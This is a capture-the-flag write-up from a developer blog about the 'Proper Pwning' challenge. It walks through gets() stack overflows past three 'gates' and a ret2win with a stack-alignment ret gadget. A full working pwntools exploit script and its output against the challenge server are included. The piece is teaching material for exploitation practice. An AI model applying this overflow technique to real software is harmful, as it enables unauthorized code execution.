DEV Community

Cover image for BronocCTF : Proper Pwning Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

BronocCTF : Proper Pwning Writeup

Category: Pwn / Binary Exploitation
Difficulty: Medium
Flag: bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}

Challenge

We're given proper.zip containing four files:

$ unzip proper.zip
Archive:  proper.zip
  inflating: Dockerfile
  inflating: flag.txt
  inflating: proper
  inflating: proper.c
Enter fullscreen mode Exit fullscreen mode

The Dockerfile shows how the binary is built and served:

RUN gcc proper.c -o proper -fno-stack-protector -z execstack -no-pie
...
EXPOSE 1338
CMD ["socat", "TCP-LISTEN:1338,reuseaddr,fork", "EXEC:./proper"]
Enter fullscreen mode Exit fullscreen mode

Key takeaways from this alone:

  • No stack canary (-fno-stack-protector)
  • No PIE (-no-pie) → all addresses are fixed and known from the binary itself, no leak needed
  • The service is just the compiled binary piped over a raw TCP socket via socat

checksec confirms:

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX disabled   No PIE
Enter fullscreen mode Exit fullscreen mode

Source review

proper.c defines a chain of "gates" that must be passed in sequence, followed by a treasure_room():

main() → gate1() → gate2() → gate3() → treasure_room()
Enter fullscreen mode Exit fullscreen mode

Every single one of these functions reads input with gets() — which performs zero bounds checking. That's the vulnerability, repeated four times with different local-variable layouts:

Function Local variables Win condition
gate1 gate (int), buffer[64] (int) overflow so gate != 0
gate2 gate, baby_chicken = 41, buffer[64] (long) overflow so gate != 0 while baby_chicken stays exactly 41
gate3 gate, buffer[67] (char) overflow so gate == 13371337 exactly
treasure_room buffer[6767] (char) no check at all — classic ret2win: overwrite the saved return address with win()'s address

win() is the target:

void win() {
    printf("\n[-] oh my goodness, you're the greatest C pwner of all time...\n");
    system("/bin/cat flag.txt");
    exit(0);
}
Enter fullscreen mode Exit fullscreen mode

Recovering exact stack offsets

C doesn't guarantee declaration order matches memory layout, so offsets were pulled directly from objdump -d proper -M intel --disassemble=<func> rather than guessed from source.

gate1sub rsp, 0x110 (272); gate at [rbp-0x4], buffer at [rbp-0x110]
→ offset buffer → gate = 0x110 - 0x4 = 268 bytes

gate2sub rsp, 0x210 (528); gate at [rbp-0x4], baby_chicken at [rbp-0x8], buffer at [rbp-0x210]
→ offset buffer → baby_chicken = 520 bytes, buffer → gate = 524 bytes
(baby_chicken sits before gate in memory — its value has to be preserved through the overflow)

gate3sub rsp, 0x50 (80); gate at [rbp-0x4], buffer at [rbp-0x50]

4012f5:  3d c9 07 cc 00   cmp    eax,0xcc07c9
Enter fullscreen mode Exit fullscreen mode

→ offset = 76 bytes; 0xcc07c9 = 13371337 decimal, confirming the source's magic number.

treasure_room — total stack allocation 0x1000 + 0xa70 = 0x1a70 (6768), buffer at [rbp-0x1a70]
→ offset buffer → saved RBP = 6768 bytes, followed by 8 bytes of saved RBP (junk), then 8 bytes for the return address.

win is at a fixed address (no PIE): 0x40123b.

First attempt: SIGSEGV

The first exploit (all offsets above, directly overwriting the return address with win()'s address) got through all three gates and even started executing win() — the "greatest C pwner" message printed — but then crashed:

[*] oh my goodness, you're the greatest C pwner of all time...
[*] Got EOF while reading in interactive
$ ls
[*] Process './proper' stopped with exit code -11 (SIGSEGV)
Enter fullscreen mode Exit fullscreen mode

Cause: stack alignment. Modern glibc's system() uses SSE instructions (movaps) internally that require the stack to be 16-byte aligned at call time. Jumping directly into a function via an overwritten return address can leave the stack pointer's parity off by 8 bytes even when the offset itself is arithmetically correct, causing a crash inside system() before /bin/cat flag.txt ever runs. This is a well-known gotcha in ret2win/ret2system exploitation on modern (Ubuntu 18.04+) glibc.

Fix: insert one extra ret gadget before the address of win() in the payload. It just pops one more 8-byte value and jumps again — pure alignment nudge, no logic change. A free ret gadget was already sitting at the end of gate1's disassembly:

401419:  c9   leave
40141a:  c3   ret
Enter fullscreen mode Exit fullscreen mode

0x40141a → single ret instruction, reused as the alignment-fix gadget.

Exploit script

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

# Usage:
#   ./exploit.py            -> run locally against ./proper
#   ./exploit.py HOST PORT  -> run against remote socat service
WIN_ADDR = 0x40123b
RET_GADGET = 0x40141a  # single `ret` instruction, borrowed from end of gate1 -- fixes stack alignment before calling win()/system()

if len(sys.argv) >= 3:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process('./proper')

# --- Gate 1 ---
# offset buffer -> gate = 268 bytes, just need gate != 0
payload1 = b'A' * 268 + p32(1)
p.sendline(payload1)
log.info(p.recvuntil(b'\n', timeout=2))

# --- Gate 2 ---
# offset buffer -> baby_chicken = 520, buffer -> gate = 524
# must preserve baby_chicken == 41 (0x29) while making gate != 0
payload2 = b'A' * 520 + p32(41) + p32(1)
p.sendline(payload2)
log.info(p.recvuntil(b'\n', timeout=2))

# --- Gate 3 ---
# offset buffer -> gate = 76, must equal 13371337 exactly
payload3 = b'A' * 76 + p32(13371337)
p.sendline(payload3)
log.info(p.recvuntil(b'\n', timeout=2))

# --- treasure_room: ret2win ---
# offset buffer -> saved RBP = 6768, then 8 bytes junk RBP, then return address
# extra RET_GADGET before WIN_ADDR fixes 16-byte stack alignment so system() doesn't SIGSEGV
payload4 = b'A' * 6768 + b'B' * 8 + p64(RET_GADGET) + p64(WIN_ADDR)
p.sendline(payload4)

p.interactive()
Enter fullscreen mode Exit fullscreen mode

Run it with python3 exploit.py for a local test against ./proper, or python3 exploit.py <host> <port> to hit a remote instance.

Local test vs. remote

Running against the local binary from the zip first confirmed the exploit logic worked, but returned a placeholder flag baked into the local flag.txt:

$ python3 exploit.py
...
bronco{FAKEFAKEFAKE}
Enter fullscreen mode Exit fullscreen mode

The real flag only lives on the actual challenge server. Pointing the same script at the remote host/port (via the remote(host, port) branch already built into the script) using the connection info from the CTF platform:

nc 0.cloud.chals.io 21543
Enter fullscreen mode Exit fullscreen mode
$ python3 exploit.py 0.cloud.chals.io 21543
[+] Opening connection to 0.cloud.chals.io on port 21543: Done
[+] Well done. Gate 1 opens.
[+] Well done. Gate 2 opens.
[+] Gate 3 opens, and you find some treasure. It says 'win() is that way, located at 0x40123b'
TREASURE?
[*] oh my goodness, you're the greatest C pwner of all time. yoshie bows down to your prowess.
bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}
Enter fullscreen mode Exit fullscreen mode

Same binary, same offsets, same addresses (no PIE means the local zip's copy and the remote deployed copy behave identically) — the exploit transferred over with zero changes beyond the host/port arguments.

Flag

bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}
Enter fullscreen mode Exit fullscreen mode

Takeaways

  • gets() is always a red flag. No bounds checking whatsoever; any challenge using it is signaling a straightforward stack overflow.
  • Trust the disassembly, not the source, for offsets. Compilers reorder locals and add alignment padding — objdump/gdb give ground truth.
  • Watch variable ordering on the stack. gate2's baby_chicken sat before gate in memory, meaning the overflow payload had to explicitly preserve its value rather than just pad through it.
  • No PIE + no canary = deterministic addresses. win()'s address could be hardcoded directly into the exploit with no leak required.
  • Stack alignment matters for ret2win/ret2system. A crash immediately at (or inside) a system()/printf()-style call after otherwise-correct exploitation is a strong signal to try adding/removing a single ret gadget to fix 16-byte alignment before the target function's call.
  • Local test binaries often ship dummy flags. Confirm you're hitting the actual remote service before assuming an exploit is broken — a "wrong flag" locally can just mean a placeholder, not a failed exploit.

Top comments (0)